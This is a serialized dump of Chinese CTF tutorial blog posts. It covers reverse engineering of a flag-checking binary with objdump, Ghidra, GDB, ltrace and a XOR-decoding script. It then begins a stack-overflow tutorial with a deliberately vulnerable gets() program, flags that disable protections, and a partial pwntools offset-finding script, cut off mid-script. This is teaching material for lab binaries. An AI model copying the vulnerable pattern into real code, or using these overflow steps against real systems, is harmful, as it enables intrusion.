119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[26,2408,2409,2414,2419,2424,2429,2434,2439,2444,2449,2454],{"__ignoreMap":24},[29,2410,2411],{"class":31,"line":32},[29,2412,2413],{},"0000000000001189 \u003Cmain>:\n",[29,2415,2416],{"class":31,"line":166},[29,2417,2418],{},"    1189:  push   rbp\n",[29,2420,2421],{"class":31,"line":184},[29,2422,2423],{},"    118a:  mov    rbp, rsp\n",[29,2425,2426],{"class":31,"line":196},[29,2427,2428],{},"    1191:  cmp    edi, 0x2\n",[29,2430,2431],{"class":31,"line":206},[29,2432,2433],{},"    1194:  jne    0x11a0\n",[29,2435,2436],{"class":31,"line":221},[29,2437,2438],{},"    119e:  call   0x1149 \u003Ccheck>\n",[29,2440,2441],{"class":31,"line":228},[29,2442,2443],{},"    11a3:  test   eax, eax\n",[29,2445,2446],{"class":31,"line":234},[29,2447,2448],{},"    11a5:  je     0x11b5\n",[29,2450,2451],{"class":31,"line":246},[29,2452,2453],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[29,2455,2456],{"class":31,"line":376},[29,2457,2458],{},"    11ae:  call   puts@plt\n",[15,2460,2461],{},"逐行解释：",[70,2463,2464,2473],{},[73,2465,2466],{},[76,2467,2468,2471],{},[79,2469,2470],{},"指令",[79,2472,84],{},[86,2474,2475,2485,2495,2505],{},[76,2476,2477,2482],{},[91,2478,2479],{},[26,2480,2481],{},"cmp edi, 0x2",[91,2483,2484],{},"比较参数个数 argc 是否为 2",[76,2486,2487,2492],{},[91,2488,2489],{},[26,2490,2491],{},"call check",[91,2493,2494],{},"调用校验函数 check",[76,2496,2497,2502],{},[91,2498,2499],{},[26,2500,2501],{},"test eax, eax",[91,2503,2504],{},"检查返回值是否为 0",[76,2506,2507,2512],{},[91,2508,2509],{},[26,2510,2511],{},"je 0x11b5",[91,2513,2514],{},"为 0 则跳到打印 Wrong 的地方",[15,2516,2517,2518,2521],{},"结论：逻辑在 ",[26,2519,2520],{},"check"," 函数里。",[15,2523,2524,324,2527,2529,2530,2532,2533,2536,2537,2539,2540,789],{},[138,2525,2526],{},"怎么想到看 check",[26,2528,2491],{}," 之后紧跟 ",[26,2531,2501],{}," 和 ",[26,2534,2535],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[26,2538,2520],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[26,2541,2520],{},[271,2543,2545],{"id":2544},"_42-看-check","4.2 看 check",[19,2547,2549],{"className":21,"code":2548,"language":23,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[26,2550,2551],{"__ignoreMap":24},[29,2552,2553,2555,2557,2559,2561,2563,2565,2567,2569,2572,2574,2577],{"class":31,"line":32},[29,2554,2347],{"class":35},[29,2556,254],{"class":39},[29,2558,2352],{"class":39},[29,2560,2355],{"class":47},[29,2562,2378],{"class":47},[29,2564,2381],{"class":1044},[29,2566,2384],{"class":35},[29,2568,2387],{"class":39},[29,2570,2571],{"class":39}," 50",[29,2573,2393],{"class":43},[29,2575,2576],{"class":47},"\u003Ccheck>",[29,2578,2399],{"class":43},[15,2580,2581],{},"如果看到：",[19,2583,2585],{"className":2404,"code":2584,"language":2406,"meta":24,"style":24},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[26,2586,2587,2592,2597],{"__ignoreMap":24},[29,2588,2589],{"class":31,"line":32},[29,2590,2591],{},"call   strcmp@plt\n",[29,2593,2594],{"class":31,"line":166},[29,2595,2596],{},"test   eax, eax\n",[29,2598,2599],{"class":31,"line":184},[29,2600,2601],{},"je     ...\n",[15,2603,2604,2605,2608],{},"说明是字符串比较，flag 就藏在 ",[26,2606,2607],{},".rodata"," 里。",[15,2610,2611,324,2613,2616,2617,2620,2621,2623],{},[138,2612,542],{},[26,2614,2615],{},"call strcmp@plt"," 前面通常有一条 ",[26,2618,2619],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[26,2622,2607],{}," 里找内容即可。",[271,2625,2627],{"id":2626},"_43-看只读数据段","4.3 看只读数据段",[19,2629,2631],{"className":21,"code":2630,"language":23,"meta":24,"style":24},"objdump -s -j .rodata checkflag\n",[26,2632,2633],{"__ignoreMap":24},[29,2634,2635,2637,2640,2643,2646],{"class":31,"line":32},[29,2636,2347],{"class":35},[29,2638,2639],{"class":39}," -s",[29,2641,2642],{"class":39}," -j",[29,2644,2645],{"class":47}," .rodata",[29,2647,2155],{"class":47},[15,2649,504],{},[19,2651,2654],{"className":2652,"code":2653,"language":63,"meta":24},[61],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[26,2655,2653],{"__ignoreMap":24},[15,2657,2658,2659,2662,2663,789],{},"ASCII 十六进制 ",[26,2660,2661],{},"63 6f 6e 67..."," 解出来就是 ",[26,2664,2665],{},"congratulations",[15,2667,2668,2671,2672,2674,2675,2678],{},[138,2669,2670],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[26,2673,2607],{},"，",[26,2676,2677],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[271,2680,2682],{"id":2681},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,2684,2685],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[19,2687,2689],{"className":21,"code":2688,"language":23,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[26,2690,2691,2703,2718,2730],{"__ignoreMap":24},[29,2692,2693,2695,2697,2700],{"class":31,"line":32},[29,2694,169],{"class":35},[29,2696,172],{"class":47},[29,2698,2699],{"class":47}," openjdk-21-jdk",[29,2701,2702],{"class":47}," unzip\n",[29,2704,2705,2708,2711,2715],{"class":31,"line":166},[29,2706,2707],{"class":35},"wget",[29,2709,2710],{"class":47}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[29,2712,2714],{"class":2713},"sqerP","*",[29,2716,2717],{"class":47},".zip\n",[29,2719,2720,2723,2726,2728],{"class":31,"line":184},[29,2721,2722],{"class":35},"unzip",[29,2724,2725],{"class":47}," ghidra_",[29,2727,2714],{"class":2713},[29,2729,2717],{"class":47},[29,2731,2732,2734,2736,2738,2741,2744],{"class":31,"line":196},[29,2733,200],{"class":199},[29,2735,2725],{"class":47},[29,2737,2714],{"class":2713},[29,2739,2740],{"class":47},"_PUBLIC",[29,2742,2743],{"class":1035}," && ",[29,2745,2746],{"class":35},"./ghidraRun\n",[15,2748,2749],{},"操作步骤：",[2751,2752,2753,2756,2762,2765],"ol",{},[880,2754,2755],{},"File → New Project → 命名。",[880,2757,2758,2759,2761],{},"把 ",[26,2760,2121],{}," 拖进项目，双击导入。",[880,2763,2764],{},"等待自动分析完成。",[880,2766,2767,2768,2771],{},"左侧 Symbol Tree 双击 ",[26,2769,2770],{},"main","，右侧 Decompiler 显示伪代码。",[15,2773,2774],{},"预期伪代码：",[19,2776,2780],{"className":2777,"code":2778,"language":2779,"meta":24,"style":24},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[26,2781,2782,2787,2792,2797],{"__ignoreMap":24},[29,2783,2784],{"class":31,"line":32},[29,2785,2786],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[29,2788,2789],{"class":31,"line":166},[29,2790,2791],{},"    puts(\"Correct!\");\n",[29,2793,2794],{"class":31,"line":184},[29,2795,2796],{},"else\n",[29,2798,2799],{"class":31,"line":196},[29,2800,2801],{},"    puts(\"Wrong!\");\n",[15,2803,2804],{},"flag 直接可见。",[10,2806,2808],{"id":2807},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,2810,2811],{},"静态分析看不懂时，让程序跑起来。",[15,2813,2814,2816],{},[138,2815,519],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,2818,2819,2821,2822,2825],{},[138,2820,528],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[26,2823,2824],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[19,2827,2829],{"className":21,"code":2828,"language":23,"meta":24,"style":24},"gdb ./checkflag\n",[26,2830,2831],{"__ignoreMap":24},[29,2832,2833,2836],{"class":31,"line":32},[29,2834,2835],{"class":35},"gdb",[29,2837,2046],{"class":47},[15,2839,2840],{},"进入 GDB 交互后：",[271,2842,2844],{"id":2843},"_51-下断点","5.1 下断点",[19,2846,2849],{"className":2847,"code":2848,"language":2835,"meta":24,"style":24},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[26,2850,2851],{"__ignoreMap":24},[29,2852,2853],{"class":31,"line":32},[29,2854,2848],{},[15,2856,504],{},[19,2858,2861],{"className":2859,"code":2860,"language":63,"meta":24},[61],"Breakpoint 1 at 0x1149\n",[26,2862,2860],{"__ignoreMap":24},[271,2864,2866],{"id":2865},"_52-带参数运行","5.2 带参数运行",[19,2868,2870],{"className":2847,"code":2869,"language":2835,"meta":24,"style":24},"(gdb) run test\n",[26,2871,2872],{"__ignoreMap":24},[29,2873,2874],{"class":31,"line":32},[29,2875,2869],{},[15,2877,504],{},[19,2879,2882],{"className":2880,"code":2881,"language":63,"meta":24},[61],"Breakpoint 1, 0x0000555555555149 in check ()\n",[26,2883,2881],{"__ignoreMap":24},[15,2885,2886],{},"程序停在 check 入口。",[271,2888,2890],{"id":2889},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[19,2892,2894],{"className":2847,"code":2893,"language":2835,"meta":24,"style":24},"(gdb) x/20i $rip\n",[26,2895,2896],{"__ignoreMap":24},[29,2897,2898],{"class":31,"line":32},[29,2899,2893],{},[15,2901,2902],{},"输出 check 函数开头的 20 条汇编。",[271,2904,2906],{"id":2905},"_54-单步并观察比较","5.4 单步并观察比较",[19,2908,2910],{"className":2847,"code":2909,"language":2835,"meta":24,"style":24},"(gdb) stepi\n",[26,2911,2912],{"__ignoreMap":24},[29,2913,2914],{"class":31,"line":32},[29,2915,2909],{},[15,2917,2918,2919,2921],{},"反复执行直到看到 ",[26,2920,2615],{},"。然后：",[19,2923,2925],{"className":2847,"code":2924,"language":2835,"meta":24,"style":24},"(gdb) x/s $rsi\n",[26,2926,2927],{"__ignoreMap":24},[29,2928,2929],{"class":31,"line":32},[29,2930,2924],{},[15,2932,2933],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2935,2936,324,2939,2942,2943,2946,2947,2950,2951,2942,2954,2957],{},[138,2937,2938],{},"补充说明",[26,2940,2941],{},"x/s"," 的 ",[26,2944,2945],{},"s"," 表示按字符串显示；",[26,2948,2949],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[26,2952,2953],{},"strcmp(a, b)",[26,2955,2956],{},"b"," 就存在这里。",[15,2959,2960,2961,2964],{},"补充：如果嫌 GDB 麻烦，",[26,2962,2963],{},"ltrace"," 直接跟踪库调用：",[19,2966,2968],{"className":21,"code":2967,"language":23,"meta":24,"style":24},"ltrace ./checkflag test\n",[26,2969,2970],{"__ignoreMap":24},[29,2971,2972,2974,2976],{"class":31,"line":32},[29,2973,2963],{"class":35},[29,2975,2054],{"class":47},[29,2977,2074],{"class":47},[15,2979,2980],{},"预期输出中会出现：",[19,2982,2985],{"className":2983,"code":2984,"language":63,"meta":24},[61],"strcmp(\"test\", \"congratulations\") = 1\n",[26,2986,2984],{"__ignoreMap":24},[15,2988,2989],{},"flag 一目了然。",[15,2991,2992,2995],{},[138,2993,2994],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2997,2999],{"id":2998},"六必学工具","六、必学工具",[70,3001,3002,3015],{},[73,3003,3004],{},[76,3005,3006,3009,3012],{},[79,3007,3008],{},"工具",[79,3010,3011],{},"核心功能",[79,3013,3014],{},"命令示例",[86,3016,3017,3029,3047,3062],{},[76,3018,3019,3021,3024],{},[91,3020,2152],{},[91,3022,3023],{},"看类型、位数、是否 stripped",[91,3025,3026],{},[26,3027,3028],{},"file checkflag",[76,3030,3031,3033,3036],{},[91,3032,2195],{},[91,3034,3035],{},"提取字符串、指定最小长度、管道过滤",[91,3037,3038,1847,3041,1847,3044],{},[26,3039,3040],{},"strings checkflag",[26,3042,3043],{},"strings -n 3 a",[26,3045,3046],{},"strings a | grep flag",[76,3048,3049,3051,3054],{},[91,3050,2347],{},[91,3052,3053],{},"反汇编、看数据段、Intel 语法",[91,3055,3056,1847,3059],{},[26,3057,3058],{},"objdump -d -M intel a",[26,3060,3061],{},"objdump -s -j .rodata a",[76,3063,3064,3067,3070],{},[91,3065,3066],{},"GDB",[91,3068,3069],{},"断点、运行、看内存/寄存器",[91,3071,3072,1847,3075,1847,3078],{},[26,3073,3074],{},"break check",[26,3076,3077],{},"run",[26,3079,3080],{},"x/20i $rip",[15,3082,3083,3084,3086,3087,3090],{},"另：Ghidra 负责把汇编还原成伪代码；",[26,3085,2963],{},"/",[26,3088,3089],{},"strace"," 负责快速跟踪函数与系统调用。",[10,3092,3094],{"id":3093},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,3096,3097,3098,3101],{},"题目：",[26,3099,3100],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[271,3103,3105],{"id":3104},"第一步侦查","第一步：侦查",[15,3107,3108,3110],{},[138,3109,519],{},"：先找密钥与提示。",[15,3112,3113,324,3115,3117,3118,3120,3121,3123],{},[138,3114,528],{},[26,3116,2195],{}," 默认漏掉短串，所以用 ",[26,3119,2262],{},"；看到 ",[26,3122,2258],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[19,3125,3127],{"className":21,"code":3126,"language":23,"meta":24,"style":24},"strings -n 3 crackme\n",[26,3128,3129],{"__ignoreMap":24},[29,3130,3131,3133,3135,3137],{"class":31,"line":32},[29,3132,2195],{"class":35},[29,3134,2227],{"class":39},[29,3136,2230],{"class":39},[29,3138,3139],{"class":47}," crackme\n",[15,3141,3142,3143,3145],{},"预期输出中有 ",[26,3144,2258],{},"——疑似密钥。",[271,3147,3149],{"id":3148},"第二步反编译-check","第二步：反编译 check",[15,3151,3152,3154],{},[138,3153,519],{},"：确认密钥如何使用、密文数组是什么。",[15,3156,3157,3159,3160,3163],{},[138,3158,542],{},"：伪代码 ",[26,3161,3162],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,3165,3166,3167,3169],{},"用 Ghidra 打开，",[26,3168,2520],{}," 伪代码：",[19,3171,3173],{"className":2777,"code":3172,"language":2779,"meta":24,"style":24},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[26,3174,3175],{"__ignoreMap":24},[29,3176,3177],{"class":31,"line":32},[29,3178,3172],{},[271,3180,3182],{"id":3181},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,3184,3185,3187],{},[138,3186,519],{},"：把\"加密\"反过来算，得到明文。",[15,3189,3190,3192,3193,3196],{},[138,3191,528],{},"：异或的自反性 ",[26,3194,3195],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[19,3198,3202],{"className":3199,"code":3200,"language":3201,"meta":24,"style":24},"language-python shiki shiki-themes dracula","enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n","python",[26,3203,3204,3209,3214,3219,3224,3229,3234,3239,3244,3249,3254,3259],{"__ignoreMap":24},[29,3205,3206],{"class":31,"line":32},[29,3207,3208],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,3210,3211],{"class":31,"line":166},[29,3212,3213],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,3215,3216],{"class":31,"line":184},[29,3217,3218],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[29,3220,3221],{"class":31,"line":196},[29,3222,3223],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[29,3225,3226],{"class":31,"line":206},[29,3227,3228],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[29,3230,3231],{"class":31,"line":221},[29,3232,3233],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[29,3235,3236],{"class":31,"line":228},[29,3237,3238],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[29,3240,3241],{"class":31,"line":234},[29,3242,3243],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[29,3245,3246],{"class":31,"line":246},[29,3247,3248],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[29,3250,3251],{"class":31,"line":376},[29,3252,3253],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[29,3255,3256],{"class":31,"line":382},[29,3257,3258],{},"print(flag.decode())\n",[29,3260,3261],{"class":31,"line":388},[29,3262,3263],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,3265,998],{},[19,3267,3270],{"className":3268,"code":3269,"language":63,"meta":24},[61],"ctf{reverse_engineering}\n",[26,3271,3269],{"__ignoreMap":24},[271,3273,3275],{"id":3274},"第四步验证","第四步：验证",[19,3277,3279],{"className":21,"code":3278,"language":23,"meta":24,"style":24},"./crackme ctf{reverse_engineering}\n",[26,3280,3281],{"__ignoreMap":24},[29,3282,3283,3286],{"class":31,"line":32},[29,3284,3285],{"class":35},"./crackme",[29,3287,3288],{"class":47}," ctf{reverse_engineering}\n",[15,3290,998,3291,789],{},[26,3292,2251],{},[10,3294,3296],{"id":3295},"八小结","八、小结",[15,3298,3299,3300,3086,3302,3304,3305,3307],{},"逆向入门三步：",[26,3301,2152],{},[26,3303,2195],{}," 侦查 → ",[26,3306,2347],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1990,3309,3310],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":166,"depth":166,"links":3312},[3313,3314,3315,3316,3317,3318,3319,3320],{"id":2026,"depth":184,"text":2027},{"id":2085,"depth":184,"text":2086},{"id":2125,"depth":184,"text":2126},{"id":2308,"depth":184,"text":2309},{"id":2807,"depth":184,"text":2808},{"id":2998,"depth":184,"text":2999},{"id":3093,"depth":184,"text":3094},{"id":3295,"depth":184,"text":3296},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":2008,"image":3323,"alt":3324,"tags":3325,"published":224},"/blogs-img/blog1.png","CTF 逆向入门",[788,3326,2013],"reverse","/blogs/ctf-reverse-overview",{"title":2021,"description":3321},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":3332,"title":3333,"body":3334,"description":4193,"extension":2006,"meta":4194,"navigation":224,"ogImage":4195,"path":4198,"seo":4199,"stem":4200,"__hash__":4201},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":3335,"toc":4181},[3336,3340,3347,3353,3355,3357,3384,3388,3394,3488,3491,3526,3530,3535,3540,3542,3558,3560,3566,3569,3627,3631,3637,3643,3650,3719,3724,3728,3732,3770,3772,3778,3782,3790,3800,3809,3813,3858,3868,3872,3877,3882,3951,3954,3960,3971,3975,4050,4054,4062,4065,4078,4089,4094,4099,4156,4158,4164,4166,4178],[10,3337,3339],{"id":3338},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,3341,3342,3343,3346],{},"C 语言函数 ",[26,3344,3345],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,3348,3349,3350,789],{},"本文只讲一条主线：",[138,3351,3352],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,3354,2086],{"id":2085},[15,3356,2089],{},[19,3358,3360],{"className":21,"code":3359,"language":23,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools\n",[26,3361,3362,3374],{"__ignoreMap":24},[29,3363,3364,3366,3368,3371],{"class":31,"line":32},[29,3365,169],{"class":35},[29,3367,172],{"class":47},[29,3369,3370],{"class":47}," gcc",[29,3372,3373],{"class":47}," gdb\n",[29,3375,3376,3379,3381],{"class":31,"line":166},[29,3377,3378],{"class":35},"pip3",[29,3380,172],{"class":47},[29,3382,3383],{"class":47}," pwntools\n",[10,3385,3387],{"id":3386},"三漏洞程序与编译","三、漏洞程序与编译",[15,3389,3390,3391,324],{},"保存 ",[26,3392,3393],{},"vuln.c",[19,3395,3397],{"className":2777,"code":3396,"language":2779,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[26,3398,3399,3404,3409,3413,3418,3423,3427,3431,3436,3441,3446,3450,3454,3459,3464,3469,3474,3479,3484],{"__ignoreMap":24},[29,3400,3401],{"class":31,"line":32},[29,3402,3403],{},"#include \u003Cstdio.h>\n",[29,3405,3406],{"class":31,"line":166},[29,3407,3408],{},"#include \u003Cstdlib.h>\n",[29,3410,3411],{"class":31,"line":184},[29,3412,225],{"emptyLinePlaceholder":224},[29,3414,3415],{"class":31,"line":196},[29,3416,3417],{},"void win() {\n",[29,3419,3420],{"class":31,"line":206},[29,3421,3422],{},"    system(\"/bin/sh\");\n",[29,3424,3425],{"class":31,"line":221},[29,3426,455],{},[29,3428,3429],{"class":31,"line":228},[29,3430,225],{"emptyLinePlaceholder":224},[29,3432,3433],{"class":31,"line":234},[29,3434,3435],{},"void vuln() {\n",[29,3437,3438],{"class":31,"line":246},[29,3439,3440],{},"    char buf[32];\n",[29,3442,3443],{"class":31,"line":376},[29,3444,3445],{},"    gets(buf);\n",[29,3447,3448],{"class":31,"line":382},[29,3449,455],{},[29,3451,3452],{"class":31,"line":388},[29,3453,225],{"emptyLinePlaceholder":224},[29,3455,3456],{"class":31,"line":394},[29,3457,3458],{},"int main() {\n",[29,3460,3461],{"class":31,"line":400},[29,3462,3463],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[29,3465,3466],{"class":31,"line":405},[29,3467,3468],{},"    puts(\"Hello, what's your name?\");\n",[29,3470,3471],{"class":31,"line":411},[29,3472,3473],{},"    vuln();\n",[29,3475,3476],{"class":31,"line":417},[29,3477,3478],{},"    puts(\"Bye!\");\n",[29,3480,3481],{"class":31,"line":422},[29,3482,3483],{},"    return 0;\n",[29,3485,3486],{"class":31,"line":428},[29,3487,455],{},[15,3489,3490],{},"编译（关闭金丝雀和 PIE，方便入门）：",[19,3492,3494],{"className":21,"code":3493,"language":23,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[26,3495,3496,3516,3521],{"__ignoreMap":24},[29,3497,3498,3501,3504,3507,3510,3513],{"class":31,"line":32},[29,3499,3500],{"class":35},"gcc",[29,3502,3503],{"class":39}," -o",[29,3505,3506],{"class":47}," vuln",[29,3508,3509],{"class":47}," vuln.c",[29,3511,3512],{"class":39}," -fno-stack-protector",[29,3514,3515],{"class":39}," -no-pie\n",[29,3517,3518],{"class":31,"line":166},[29,3519,3520],{"class":162},"# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[29,3522,3523],{"class":31,"line":184},[29,3524,3525],{"class":162},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,3527,3529],{"id":3528},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,3531,3532,3534],{},[138,3533,519],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,3536,3537,3539],{},[138,3538,528],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,3541,485],{},[19,3543,3545],{"className":21,"code":3544,"language":23,"meta":24,"style":24},"pwn checksec ./vuln\n",[26,3546,3547],{"__ignoreMap":24},[29,3548,3549,3552,3555],{"class":31,"line":32},[29,3550,3551],{"class":35},"pwn",[29,3553,3554],{"class":47}," checksec",[29,3556,3557],{"class":47}," ./vuln\n",[15,3559,504],{},[19,3561,3564],{"className":3562,"code":3563,"language":63,"meta":24},[61],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[26,3565,3563],{"__ignoreMap":24},[15,3567,3568],{},"只看三行：",[70,3570,3571,3583],{},[73,3572,3573],{},[76,3574,3575,3578,3580],{},[79,3576,3577],{},"行",[79,3579,84],{},[79,3581,3582],{},"对我们意味着什么",[86,3584,3585,3598,3611],{},[76,3586,3587,3592,3595],{},[91,3588,3589],{},[26,3590,3591],{},"Stack: No canary found",[91,3593,3594],{},"没有栈金丝雀",[91,3596,3597],{},"可以直接覆盖返回地址",[76,3599,3600,3605,3608],{},[91,3601,3602],{},[26,3603,3604],{},"NX: NX enabled",[91,3606,3607],{},"栈不可执行",[91,3609,3610],{},"不能放 shellcode（本阶段先不管）",[76,3612,3613,3618,3621],{},[91,3614,3615],{},[26,3616,3617],{},"PIE: No PIE",[91,3619,3620],{},"程序地址固定",[91,3622,3623,3626],{},[26,3624,3625],{},"win"," 的地址可以直接写进 payload",[10,3628,3630],{"id":3629},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,3632,3633,3636],{},[26,3634,3635],{},"vuln"," 被调用时栈上自低到高：",[19,3638,3641],{"className":3639,"code":3640,"language":63,"meta":24},[61],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[26,3642,3640],{"__ignoreMap":24},[15,3644,3645,3646,3649],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[26,3647,3648],{},"cyclic"," 验证：",[19,3651,3653],{"className":3199,"code":3652,"language":3201,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[26,3654,3655,3660,3664,3669,3674,3679,3684,3689,3694,3699,3704,3709,3714],{"__ignoreMap":24},[29,3656,3657],{"class":31,"line":32},[29,3658,3659],{},"from pwn import 